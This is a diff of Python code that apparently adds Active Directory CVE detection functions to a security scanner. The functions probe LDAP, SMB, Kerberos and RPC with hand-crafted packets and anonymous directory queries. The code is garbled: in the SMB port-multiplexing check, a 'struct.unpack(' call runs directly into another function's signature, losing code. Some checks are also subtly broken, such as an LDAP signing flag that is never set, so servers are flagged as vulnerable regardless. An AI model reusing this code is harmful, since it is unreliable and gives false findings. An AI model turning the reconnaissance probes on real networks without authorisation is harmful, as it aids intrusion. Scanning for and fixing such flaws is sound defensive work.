+ results: dict[str, Any] = { + "cve": "CVE-2026-54121", + "cvss": 8.8, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "adcs_detected": False, + "enrollment_services": [], + "vulnerable_templates": [], + "remediation": [ + "Install KB5040434 (July 2026 security update)", + "Audit certificate templates for enrollment agent permissions", + "Enable 'CA certificate manager approval' on sensitive templates", + "Monitor Event ID 4886/4887 for suspicious certificate enrollments", + "Restrict 'Enroll' permissions on certificate templates", + ], + } + + # Try anonymous LDAP bind to find AD CS configuration + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + except Exception: + continue + + try: + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + + if not conn.bound: + continue + + # Get configuration naming context + config_nc = None + if server.info and server.info.other: + cnc_list = server.info.other.get("configurationNamingContext", []) + if cnc_list: + config_nc = str(cnc_list[0]) + + if not config_nc: + # Try defaultNamingContext to derive config NC + if server.info and server.info.other: + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + domain_dn = str(dnc[0]) + dc_parts = domain_dn.split(",") + domain_parts = [p.split("=")[1] for p in dc_parts if p.upper().startswith("DC=")] + if domain_parts: + config_nc = f"CN=Configuration,{domain_dn}" + + if not config_nc: + conn.unbind() + continue + + # Search for Enrollment Services (AD CS) + es_dn = f"CN=Enrollment Services,CN=Public Key Services,CN=Services,{config_nc}" + try: + conn.search( + es_dn, + "(objectClass=pKIEnrollmentService)", + search_scope="SUBTREE", + attributes=["cn", "dNSHostName", "certificateTemplates", "cACertificate"], + size_limit=50, + ) + if conn.entries: + results["adcs_detected"] = True + for entry in conn.entries: + es_info: dict[str, Any] = {"cn": str(entry.cn) if hasattr(entry, "cn") else "unknown"} + if hasattr(entry, "dNSHostName") and entry.dNSHostName: + es_info["hostname"] = str(entry.dNSHostName) + templates = [] + if hasattr(entry, "certificateTemplates") and entry.certificateTemplates: + templates = [str(t) for t in entry.certificateTemplates] + es_info["template_count"] = len(templates) + results["enrollment_services"].append(es_info) + + # Check for templates that commonly allow the Certighost attack + risky_templates = [t for t in templates if any( + kw in t.lower() for kw in ("machine", "computer", "domaincontroller", "dc", "webserver", "ipsec") + )] + if risky_templates: + results["vulnerable_templates"].extend(risky_templates) + except Exception as e: + print(f"[VERBOSE] [CVE-2026-54121] Enrollment Services query error: {e}", file=sys.stderr, flush=True) + + # Search for certificate templates with specific flags + tmpl_dn = f"CN=Certificate Templates,CN=Public Key Services,CN=Services,{config_nc}" + try: + conn.search( + tmpl_dn, + "(&(objectClass=pKICertificateTemplate)(!(msPKI-Enrollment-Flag:1.2.840.113556.1.4.803:=2)))", + search_scope="SUBTREE", + attributes=["cn", "msPKI-Certificate-Name-Flag", "msPKI-Enrollment-Flag"], + size_limit=100, + ) + for entry in conn.entries: + name_flag = 0 + if hasattr(entry, "msPKI-Certificate-Name-Flag"): + try: + name_flag = int(str(getattr(entry, "msPKI-Certificate-Name-Flag"))) + except (ValueError, TypeError): + pass + # ENROLLEE_SUPPLIES_SUBJECT = 1 - attacker controls SAN + if name_flag & 1: + tmpl_name = str(entry.cn) if hasattr(entry, "cn") else "unknown" + if tmpl_name not in results["vulnerable_templates"]: + results["vulnerable_templates"].append(tmpl_name) + except Exception: + pass + + conn.unbind() + + if results["adcs_detected"]: + results["vulnerable"] = len(results["vulnerable_templates"]) > 0 + if results["vulnerable"]: + results["impact"] = ( + f"AD CS detected with {len(results['vulnerable_templates'])} potentially vulnerable template(s). " + f"Certighost (CVE-2026-54121) may allow certificate enrollment for arbitrary computer accounts " + f"including Domain Controllers, leading to full domain compromise via DCSync." + ) + print(f"[VERBOSE] [CVE-2026-54121] VULNERABLE - {len(results['vulnerable_templates'])} risky templates found", file=sys.stderr, flush=True) + else: + results["impact"] = "AD CS detected but no obviously vulnerable templates found. Manual review recommended." + break + + except Exception as e: + print(f"[VERBOSE] [CVE-2026-54121] LDAP error on port {port}: {e}", file=sys.stderr, flush=True) + continue + + if not results["adcs_detected"]: + results["impact"] = "AD CS not detected or not reachable via LDAP" + print(f"[VERBOSE] [CVE-2026-54121] AD CS not detected on {target}", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2025-54918 - NTLM LDAP Authentication Bypass (Privilege Escalation) +# CVSS 8.1 (High) - Patched September 2025 +# Allows domain user to escalate to SYSTEM on DCs via LDAP NTLM auth flaw +# ============================================================================ + +def scan_cve_2025_54918( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2025-54918 detection: checks if target DC LDAP service exhibits + signs of the NTLM authentication bypass (pre-patch behavior). + Safe: read-only connection and NTLM capability probe only. + """ + print(f"[VERBOSE] [CVE-2025-54918] Scanning {target} for NTLM LDAP auth bypass", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2025-54918", + "cvss": 8.1, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "ldap_reachable": False, + "ntlm_supported": False, + "dc_info": {}, + "remediation": [ + "Install September 2025 security update (KB5043050)", + "Enable LDAP signing (GPO: Domain Controller LDAP server signing requirements = Require signing)", + "Enable LDAP channel binding (CBT)", + "Monitor Event ID 2889 for unsigned LDAP binds", + "Consider disabling NTLM authentication where possible", + ], + } + + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + except Exception: + continue + + results["ldap_reachable"] = True + + try: + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + + if not conn.bound: + continue + + # Check supported SASL mechanisms for NTLM + if server.info and server.info.other: + mechs = server.info.other.get("supportedSASLMechanisms", []) + mechs_str = [str(m) for m in mechs] + if any("NTLM" in m.upper() or "GSS-SPNEGO" in m.upper() for m in mechs_str): + results["ntlm_supported"] = True + + # Extract DC info + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + results["dc_info"]["defaultNamingContext"] = str(dnc[0]) + forest = server.info.other.get("rootDomainNamingContext", []) + if forest: + results["dc_info"]["forestRoot"] = str(forest[0]) + func_level = server.info.other.get("domainControllerFunctionality", []) + if func_level: + results["dc_info"]["functionalLevel"] = str(func_level[0]) + + # Check for LDAP signing enforcement + # If server accepts unsigned bind, it may be vulnerable + ldap_signing_enforced = False + if server.info and server.info.other: + # supportedControl OID 1.2.840.113556.1.4.473 = server-side sort + # The absence of specific controls or the acceptance of unsigned + # connections is an indicator + controls = server.info.other.get("supportedControl", []) + controls_str = [str(c) for c in controls] + # Check for LDAP_SERVER_POLICY_HINTS_OID (password policy awareness) + results["dc_info"]["supportedControls_count"] = len(controls_str) + + conn.unbind() + + if results["ntlm_supported"] and not ldap_signing_enforced: + results["vulnerable"] = True + results["impact"] = ( + f"DC at {target}:{port} accepts NTLM authentication over LDAP without enforced signing. " + f"CVE-2025-54918 allows privilege escalation from domain user to SYSTEM. " + f"Apply KB5043050 and enforce LDAP signing immediately." + ) + print(f"[VERBOSE] [CVE-2025-54918] POTENTIALLY VULNERABLE - NTLM LDAP without signing on {target}:{port}", file=sys.stderr, flush=True) + else: + results["impact"] = "LDAP reachable but NTLM not supported or signing enforced" + + break + + except Exception as e: + print(f"[VERBOSE] [CVE-2025-54918] Error on {target}:{port}: {e}", file=sys.stderr, flush=True) + continue + + if not results["ldap_reachable"]: + results["impact"] = "LDAP not reachable on target" + print(f"[VERBOSE] [CVE-2025-54918] LDAP not reachable on {target}", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2026-33826 - Windows AD RPC Remote Code Execution +# CVSS 8.0 (High) - Patched April 2026 +# Improper input validation in AD RPC allows authenticated RCE +# ============================================================================ + +def scan_cve_2026_33826( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-33826 detection: probes for the vulnerable AD RPC endpoint. + Safe: read-only RPC endpoint enumeration, no exploitation. + Checks if target exposes AD-specific RPC interfaces on adjacent network. + """ + print(f"[VERBOSE] [CVE-2026-33826] Scanning {target} for AD RPC endpoint exposure", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-33826", + "cvss": 8.0, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "rpc_reachable": False, + "exposed_endpoints": [], + "ad_rpc_detected": False, + "remediation": [ + "Install April 2026 Patch Tuesday update", + "Restrict RPC access with Windows Firewall (block TCP 135, 593, dynamic RPC range)", + "Enable RPC interface restrictions via registry (RestrictRemoteClients)", + "Segment network to limit adjacent-network access to DCs", + "Monitor for unusual RPC calls via Windows Security Event ID 5712", + ], + } + + # AD-specific RPC interface UUIDs + ad_rpc_uuids = { + "e3514235-4b06-11d1-ab04-00c04fc2dcd2": "MS-DRSR (Directory Replication)", + "12345778-1234-abcd-ef00-0123456789ab": "MS-SAMR (SAM Remote)", + "12345778-1234-abcd-ef00-0123456789ac": "MS-LSAT (LSA Translation)", + "3919286a-b10c-11d0-9ba8-00c04fd92ef5": "MS-DSSP (Directory Services Setup)", + } + + # Check RPC endpoint mapper (TCP 135) + rpc_port = 135 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, rpc_port)) == 0: + results["rpc_reachable"] = True + print(f"[VERBOSE] [CVE-2026-33826] RPC endpoint mapper (135) open on {target}", file=sys.stderr, flush=True) + s.close() + except Exception: + pass + + # Check LDAP to confirm it's an AD DC + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + if conn.bound: + if server.info and server.info.other: + is_gc = server.info.other.get("isGlobalCatalogReady", []) + if is_gc and str(is_gc[0]).upper() == "TRUE": + results["ad_rpc_detected"] = True + conn.unbind() + break + except Exception: + continue + + # Check additional RPC-related ports + rpc_ports = [135, 593, 445, 139] + open_rpc_ports = [] + for port in rpc_ports: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + open_rpc_ports.append(port) + s.close() + except Exception: + pass + + results["exposed_endpoints"] = open_rpc_ports + + if results["rpc_reachable"] and results["ad_rpc_detected"]: + results["vulnerable"] = True + results["impact"] = ( + f"AD Domain Controller at {target} exposes RPC endpoint mapper (port 135) and " + f"{len(open_rpc_ports)} RPC-related port(s). CVE-2026-33826 allows authenticated " + f"RCE via crafted RPC call. Apply April 2026 patch immediately." + ) + print(f"[VERBOSE] [CVE-2026-33826] POTENTIALLY VULNERABLE - AD DC with RPC exposed on {target}", file=sys.stderr, flush=True) + elif results["rpc_reachable"]: + results["impact"] = "RPC reachable but target may not be an AD DC" + else: + results["impact"] = "RPC endpoint mapper not reachable" + print(f"[VERBOSE] [CVE-2026-33826] RPC not reachable on {target}", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2026-27912 - ResetNightmare: Kerberos Password Reset Bypass +# CVSS 8.0 (High) - Patched April 2026 +# UPN collision allows password reset of any account via kpasswd (port 464) +# ============================================================================ + +def scan_cve_2026_27912( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-27912 (ResetNightmare) detection: checks if target DC exposes + Kerberos kpasswd service (port 464) and whether UPN-based name resolution + is potentially exploitable. + Safe: port check + anonymous LDAP query only, no password changes. + """ + print(f"[VERBOSE] [CVE-2026-27912] Scanning {target} for ResetNightmare (Kerberos kpasswd bypass)", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-27912", + "cvss": 8.0, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "kpasswd_open": False, + "kerberos_open": False, + "dc_info": {}, + "remediation": [ + "Install April 2026 security update (KB5055523)", + "Audit userPrincipalName attributes for collisions with sAMAccountName values", + "Restrict 'Write userPrincipalName' permissions - remove from generic groups", + "Monitor Event ID 4723/4724 for unexpected password resets", + "Enable 'Protected Users' group for high-privilege accounts", + "Restrict machine account creation (ms-DS-MachineAccountQuota = 0)", + ], + } + + # Check kpasswd (464) and Kerberos (88) + for port, key in [(464, "kpasswd_open"), (88, "kerberos_open")]: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results[key] = True + print(f"[VERBOSE] [CVE-2026-27912] Port {port} open on {target}", file=sys.stderr, flush=True) + s.close() + except Exception: + pass + + # LDAP probe for DC info and UPN configuration + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + + if conn.bound and server.info and server.info.other: + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + results["dc_info"]["defaultNamingContext"] = str(dnc[0]) + func_level = server.info.other.get("domainControllerFunctionality", []) + if func_level: + results["dc_info"]["functionalLevel"] = str(func_level[0]) + + # Check ms-DS-MachineAccountQuota (if accessible) + if dnc: + try: + conn.search( + str(dnc[0]), + "(objectClass=domain)", + search_scope="BASE", + attributes=["ms-DS-MachineAccountQuota"], + ) + if conn.entries: + maq = getattr(conn.entries[0], "ms-DS-MachineAccountQuota", None) + if maq is not None: + results["dc_info"]["machineAccountQuota"] = int(str(maq)) + except Exception: + pass + + conn.unbind() + break + + except Exception as e: + print(f"[VERBOSE] [CVE-2026-27912] LDAP error on {target}:{port}: {e}", file=sys.stderr, flush=True) + continue + + if results["kpasswd_open"] and results["kerberos_open"]: + results["vulnerable"] = True + maq = results["dc_info"].get("machineAccountQuota", "unknown") + results["impact"] = ( + f"DC at {target} exposes kpasswd (464) and Kerberos (88). " + f"CVE-2026-27912 (ResetNightmare) allows any user with GenericWrite on an object " + f"to reset ANY account's password via UPN collision + kpasswd protocol. " + f"MachineAccountQuota={maq}. Full domain takeover possible." + ) + print(f"[VERBOSE] [CVE-2026-27912] POTENTIALLY VULNERABLE - kpasswd+Kerberos open on {target}", file=sys.stderr, flush=True) + elif results["kpasswd_open"]: + results["impact"] = "kpasswd port open but Kerberos (88) not reachable" + else: + results["impact"] = "kpasswd service not reachable" + print(f"[VERBOSE] [CVE-2026-27912] kpasswd not reachable on {target}", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2026-24294 - NTLM Reflection via SMB Port Multiplexing +# CVSS 7.8 (High) - Patched March 2026 +# Bypasses CVE-2025-33073 fix via SMB port multiplexing on Server 2025 +# ============================================================================ + +def scan_cve_2026_24294( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2026-24294 detection: checks if target runs SMB with port multiplexing + enabled (Windows 11 24H2 / Server 2025 feature), which enables NTLM + reflection bypass. + Safe: SMB connection probe only, no authentication attempted. + """ + print(f"[VERBOSE] [CVE-2026-24294] Scanning {target} for NTLM reflection via SMB port multiplexing", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-24294", + "cvss": 7.8, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "smb_reachable": False, + "smb_signing": "unknown", + "smb_version": "unknown", + "alt_smb_ports": [], + "remediation": [ + "Install March 2026 security update", + "Enable SMB signing (RequireSecuritySignature = 1)", + "Disable SMB port multiplexing if not required", + "Enable EPA (Extended Protection for Authentication) on all services", + "Consider disabling NTLM (restrict via GPO: Network Security: Restrict NTLM)", + "Monitor Event ID 4624 Type 3 for anomalous SYSTEM logons", + ], + } + + # Check SMB (445) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, 445)) == 0: + results["smb_reachable"] = True + + # Send SMB negotiate to detect version and signing + # SMB2 Negotiate Request (minimal) + smb2_neg = ( + b"\x00\x00\x00\x72" # NetBIOS length + b"\xfeSMB" # SMB2 magic + b"\x40\x00" # Header length + b"\x00\x00" # Credit charge + b"\x00\x00\x00\x00" # Status + b"\x00\x00" # Command: Negotiate + b"\x00\x00" # Credits requested + b"\x00\x00\x00\x00" # Flags + b"\x00\x00\x00\x00" # Next command + b"\x00\x00\x00\x00\x00\x00\x00\x00" # Message ID + b"\x00\x00\x00\x00" # Process ID + b"\x00\x00\x00\x00" # Tree ID + b"\x00\x00\x00\x00\x00\x00\x00\x00" # Session ID + b"\x00\x00\x00\x00\x00\x00\x00\x00" # Signature (first half) + b"\x00\x00\x00\x00\x00\x00\x00\x00" # Signature (second half) + # Negotiate body + b"\x24\x00" # Structure size + b"\x02\x00" # Dialect count: 2 + b"\x01\x00" # Security mode: signing enabled + b"\x00\x00" # Reserved + b"\x00\x00\x00\x00" # Capabilities + b"\x00\x00\x00\x00\x00\x00\x00\x00" # Client GUID + b"\x00\x00\x00\x00\x00\x00\x00\x00" # + b"\x02\x02" # Dialect: SMB 2.0.2 + b"\x10\x03" # Dialect: SMB 3.1.1 + ) + try: + s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s2.settimeout(timeout) + s2.connect((target, 445)) + s2.sendall(smb2_neg) + resp = s2.recv(4096) + s2.close() + + if len(resp) > 72 and resp[4:8] == b"\xfeSMB": + # Parse SMB2 Negotiate Response + sec_mode = resp[70] if len(resp) > 70 else 0 + if sec_mode & 0x02: + results["smb_signing"] = "required" + elif sec_mode & 0x01: + results["smb_signing"] = "enabled" + else: + results["smb_signing"] = "disabled" + + # Dialect from response + if len(resp) > 73: + dialect = struct.unpack(" dict[str, Any]: + """ + CVE-2026-20833 detection: checks if target Kerberos KDC still supports + RC4 encryption, which enables Kerberoasting attacks. + Safe: raw Kerberos AS-REQ probe only, no authentication. + """ + print(f"[VERBOSE] [CVE-2026-20833] Scanning {target} for Kerberos RC4 support (Kerberoasting risk)", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2026-20833", + "cvss": 7.5, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "kerberos_reachable": False, + "rc4_supported": False, + "aes_supported": False, + "encryption_types": [], + "remediation": [ + "Install January 2026+ security updates for phased RC4 deprecation", + "Set msDS-SupportedEncryptionTypes on service accounts to exclude RC4 (remove 0x4)", + "Enable AES256 (0x10) and AES128 (0x8) on all service accounts", + "GPO: Network Security: Configure encryption types allowed for Kerberos - remove DES/RC4", + "Audit service accounts: Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties msDS-SupportedEncryptionTypes", + "Monitor Event ID 4769 for RC4 (0x17) ticket encryption type", + ], + } + + # Check Kerberos port + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, 88)) != 0: + s.close() + results["impact"] = "Kerberos (port 88) not reachable" + return results + s.close() + results["kerberos_reachable"] = True + except Exception: + results["impact"] = "Kerberos (port 88) not reachable" + return results + + # Send AS-REQ requesting RC4 encryption (etype 23) + # Then send another requesting AES256 (etype 18) to compare + etypes_to_test = { + 23: "RC4-HMAC", + 18: "AES256-CTS-HMAC-SHA1", + 17: "AES128-CTS-HMAC-SHA1", + } + + for etype_num, etype_name in etypes_to_test.items(): + try: + # Build minimal AS-REQ with specific etype + # We use a dummy principal - the KDC will respond with KRB_ERROR + # but the error itself tells us if the etype is accepted + realm = b"PROBE.LOCAL" + cname = b"probeuser" + + # ASN.1 DER-encoded AS-REQ (simplified) + etype_bytes = struct.pack(">i", etype_num) + + # Construct etype sequence: SEQUENCE { [0] INTEGER etype } + etype_der = b"\x30" + bytes([len(etype_bytes) + 4]) + b"\xa0" + bytes([len(etype_bytes) + 2]) + b"\x02" + bytes([len(etype_bytes)]) + etype_bytes + + # KDC-REQ-BODY + # [0] kdc-options FLAGS = 0x40800000 (forwardable, renewable) + kdc_options = b"\xa0\x07\x03\x05\x00\x40\x80\x00\x00" + + # [1] cname: PrincipalName + cname_val = b"\x1b" + bytes([len(cname)]) + cname + cname_seq = b"\x30" + bytes([len(cname_val) + 5]) + b"\xa0\x03\x02\x01\x01" + b"\xa1" + bytes([len(cname_val) + 2]) + b"\x30" + bytes([len(cname_val)]) + cname_val + cname_ctx = b"\xa1" + bytes([len(cname_seq)]) + cname_seq + + # [2] realm + realm_val = b"\x1b" + bytes([len(realm)]) + realm + realm_ctx = b"\xa2" + bytes([len(realm_val)]) + realm_val + + # [7] etype + etype_ctx = b"\xa7" + bytes([len(etype_der)]) + etype_der + + # KDC-REQ-BODY sequence + body_content = kdc_options + cname_ctx + realm_ctx + etype_ctx + body_seq = b"\x30" + bytes([len(body_content)]) + body_content + body_ctx = b"\xa4" + bytes([len(body_seq)]) + body_seq + + # KDC-REQ: [1] pvno=5, [2] msg-type=10 (AS-REQ), [4] req-body + pvno = b"\xa1\x03\x02\x01\x05" + msg_type = b"\xa2\x03\x02\x01\x0a" + req_content = pvno + msg_type + body_ctx + as_req = b"\x6a" + bytes([len(req_content)]) + req_content + + # TCP framing: 4-byte big-endian length prefix + framed = struct.pack(">I", len(as_req)) + as_req + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((target, 88)) + s.sendall(framed) + resp = s.recv(4096) + s.close() + + if len(resp) > 4: + # Any response means the KDC processed our request with this etype + results["encryption_types"].append(etype_name) + if etype_num == 23: + results["rc4_supported"] = True + elif etype_num in (17, 18): + results["aes_supported"] = True + + # Check for specific KRB_ERROR codes + # KDC_ERR_ETYPE_NOSUPP = 14 means etype not supported + # We look for error-code in the response + if b"\xa6" in resp: + # error-code is context tag [6] + idx = resp.index(b"\xa6") + if idx + 4 < len(resp): + err_code = resp[idx + 4] + if err_code == 14: # KDC_ERR_ETYPE_NOSUPP + results["encryption_types"].pop() + if etype_num == 23: + results["rc4_supported"] = False + elif etype_num in (17, 18): + results["aes_supported"] = False + + except Exception as e: + print(f"[VERBOSE] [CVE-2026-20833] Etype {etype_name} probe error: {e}", file=sys.stderr, flush=True) + + if results["rc4_supported"]: + results["vulnerable"] = True + results["impact"] = ( + f"KDC at {target} accepts RC4-HMAC (etype 23) for Kerberos tickets. " + f"CVE-2026-20833: RC4-encrypted service tickets can be cracked offline " + f"(Kerberoasting). Supported etypes: {', '.join(results['encryption_types'])}. " + f"Disable RC4 and enforce AES encryption." + ) + print(f"[VERBOSE] [CVE-2026-20833] VULNERABLE - RC4 supported on {target}", file=sys.stderr, flush=True) + else: + results["impact"] = f"RC4 not supported or not detected. Etypes found: {', '.join(results['encryption_types']) or 'none'}" + print(f"[VERBOSE] [CVE-2026-20833] RC4 not detected on {target}", file=sys.stderr, flush=True) + + return results + + +# ============================================================================ +# CVE-2025-33073 - Windows SMB NTLM Reflection Privilege Escalation +# CVSS 8.8 (High) - Patched June 2025 +# SMB client auth coerced to reflect NTLM to ADCS/LDAPS/MSSQL +# ============================================================================ + +def scan_cve_2025_33073( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2025-33073 detection: checks if target SMB service is vulnerable + to NTLM reflection by testing SMB signing and NTLM availability. + Safe: SMB negotiate probe + LDAP check only. + """ + print(f"[VERBOSE] [CVE-2025-33073] Scanning {target} for SMB NTLM reflection", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2025-33073", + "cvss": 8.8, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "smb_reachable": False, + "smb_signing": "unknown", + "ldap_reachable": False, + "adcs_reachable": False, + "relay_targets": [], + "remediation": [ + "Install June 2025 security update (KB5039212)", + "Enforce SMB signing on all machines (RequireSecuritySignature=1)", + "Enable Extended Protection for Authentication (EPA) on ADCS", + "Disable NTLM where possible via GPO", + "Enable LDAP signing and channel binding on DCs", + "Monitor Event ID 4624 logon type 3 for relay indicators", + ], + } + + # Check SMB + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, 445)) == 0: + results["smb_reachable"] = True + # SMB2 negotiate to check signing + smb2_neg = ( + b"\x00\x00\x00\x72\xfeSMB\x40\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + b"\x24\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02\x10\x03" + ) + try: + s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s2.settimeout(timeout) + s2.connect((target, 445)) + s2.sendall(smb2_neg) + resp = s2.recv(4096) + s2.close() + if len(resp) > 72 and resp[4:8] == b"\xfeSMB": + sec_mode = resp[70] if len(resp) > 70 else 0 + if sec_mode & 0x02: + results["smb_signing"] = "required" + elif sec_mode & 0x01: + results["smb_signing"] = "enabled" + else: + results["smb_signing"] = "disabled" + except Exception: + pass + s.close() + except Exception: + pass + + # Check potential relay targets + relay_services = [(389, "LDAP"), (636, "LDAPS"), (443, "HTTPS/ADCS"), (5985, "WinRM"), (1433, "MSSQL")] + for port, svc in relay_services: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) == 0: + results["relay_targets"].append({"port": port, "service": svc}) + if port in (389, 636): + results["ldap_reachable"] = True + if port == 443: + results["adcs_reachable"] = True + s.close() + except Exception: + pass + + if results["smb_reachable"] and results["smb_signing"] != "required" and results["relay_targets"]: + results["vulnerable"] = True + results["impact"] = ( + f"SMB on {target} accepts connections with signing={results['smb_signing']}. " + f"{len(results['relay_targets'])} potential relay target(s) found: " + f"{', '.join(r['service'] for r in results['relay_targets'])}. " + f"CVE-2025-33073 enables NTLM reflection to ADCS/LDAPS/MSSQL for privilege escalation to SYSTEM." + ) + print(f"[VERBOSE] [CVE-2025-33073] POTENTIALLY VULNERABLE - SMB+relay targets on {target}", file=sys.stderr, flush=True) + elif results["smb_reachable"]: + results["impact"] = "SMB reachable but signing required or no relay targets found" + else: + results["impact"] = "SMB not reachable" + + return results + + +# ============================================================================ +# CVE-2025-29810 - AD DS Improper Access Control Privilege Escalation +# CVSS 7.5 (High) - Patched April 2025 +# Improper access control in AD DS allows privilege escalation +# ============================================================================ + +def scan_cve_2025_29810( + target: str, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + CVE-2025-29810 detection: checks if target DC exposes AD DS with + potentially exploitable access control on critical objects. + Safe: anonymous LDAP query for domain functional level and ACL-relevant attributes. + """ + print(f"[VERBOSE] [CVE-2025-29810] Scanning {target} for AD DS access control vulnerability", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "cve": "CVE-2025-29810", + "cvss": 7.5, + "severity": "HIGH", + "target": target, + "vulnerable": False, + "ldap_reachable": False, + "dc_info": {}, + "writable_attributes_exposed": False, + "remediation": [ + "Install April 2025 security update (KB5036893)", + "Audit DACL permissions on sensitive AD objects (AdminSDHolder, Domain Admins, krbtgt)", + "Enable AdminSDHolder protection for privileged groups", + "Remove unnecessary GenericWrite/GenericAll permissions from low-privilege groups", + "Monitor Event ID 5136 for directory service object modifications", + "Use Microsoft Defender for Identity to detect privilege escalation", + ], + } + + for port in (389, 636): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + if s.connect_ex((target, port)) != 0: + s.close() + continue + s.close() + except Exception: + continue + + results["ldap_reachable"] = True + + try: + use_ssl = port == 636 + server = Server(target, port=port, use_ssl=use_ssl, get_info=ALL, connect_timeout=timeout) + conn = Connection(server, auto_bind=True, receive_timeout=timeout) + + if not conn.bound: + continue + + if server.info and server.info.other: + dnc = server.info.other.get("defaultNamingContext", []) + if dnc: + results["dc_info"]["defaultNamingContext"] = str(dnc[0]) + func = server.info.other.get("domainFunctionality", []) + if func: + results["dc_info"]["domainFunctionality"] = str(func[0]) + dc_func = server.info.other.get("domainControllerFunctionality", []) + if dc_func: + results["dc_info"]["dcFunctionality"] = str(dc_func[0]) + forest_func = server.info.other.get("forestFunctionality", []) + if forest_func: + results["dc_info"]["forestFunctionality"] = str(forest_func[0]) + + # Check if anonymous can read user objects (indicates weak ACLs) + if results["dc_info"].get("defaultNamingContext"): + base_dn = results["dc_info"]["defaultNamingContext"] + try: + conn.search( + base_dn, + "(&(objectClass=user)(objectCategory=person))", + search_scope="SUBTREE", + attributes=["sAMAccountName", "memberOf"], + size_limit=5, + ) + if conn.entries: + results["writable_attributes_exposed"] = True + results["dc_info"]["anonymous_user_read"] = len(conn.entries) + except Exception: + pass + + conn.unbind() + break + except Exception as e: + print(f"[VERBOSE] [CVE-2025-29810] LDAP error on {target}:{port}: {e}", file=sys.stderr, flush=True) + + if results["ldap_reachable"] and results["writable_attributes_exposed"]: + results["vulnerable"] = True + results["impact"] = ( + f"AD DS on {target} allows anonymous read of user objects ({results['dc_info'].get('anonymous_user_read', 0)} found). " + f"CVE-2025-29810 exploits improper access control in AD DS for privilege escalation. " + f"Domain functional level: {results['dc_info'].get('domainFunctionality', 'unknown')}." + ) + print(f"[VERBOSE] [CVE-2025-29810] POTENTIALLY VULNERABLE on {target}", file=sys.stderr, flush=True) + elif 